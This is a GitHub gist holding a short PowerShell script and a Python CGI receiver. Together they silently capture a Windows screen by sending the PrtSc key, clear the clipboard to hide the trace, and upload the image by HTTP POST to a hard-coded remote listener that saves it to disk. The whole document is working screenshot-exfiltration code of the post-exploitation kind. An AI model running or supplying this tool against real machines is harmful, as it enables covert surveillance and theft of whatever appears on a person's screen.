Skip to content

Instantly share code, notes, and snippets.

@tothi
Created September 16, 2023 20:00
Show Gist options
  • Save tothi/defa916570c18334332fe32856ffdef3 to your computer and use it in GitHub Desktop.
Save tothi/defa916570c18334332fe32856ffdef3 to your computer and use it in GitHub Desktop.
Capture screenshot by sending PrtSc key using PowerShell and grab it through HTTP with a Python CGI receiver
# dependency
Add-Type -AssemblyName System.Windows.Forms
# send PrtSc key (= capture the screen to the clipboard)
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
# save the image as PNG in memory
$png = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($png, [System.Drawing.Imaging.ImageFormat]::Png)
# clean up the clipboard
[Windows.Forms.Clipboard]::Clear()
# send the screenshot to the receiver in HTTP POST body
Invoke-WebRequest -Uri "http://192.168.56.1:8000/htbin/upload?test.png" -Method POST -Body $png.ToArray()
#!/usr/bin/env python3
#
# super simple CGI file receiver
#
# save this as htbin/upload, and run `python -m http.server --cgi`
#
import sys, os
# write raw POST body to the file specified by the query string
open(os.path.basename(os.environ.get('QUERY_STRING', 'screenshot.png')), 'wb').write(sys.stdin.buffer.read(int(os.environ.get('CONTENT_LENGTH', '0'))))
# minimal output to make Invoke-WebRequest happy
sys.stdout.write("\r\n")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment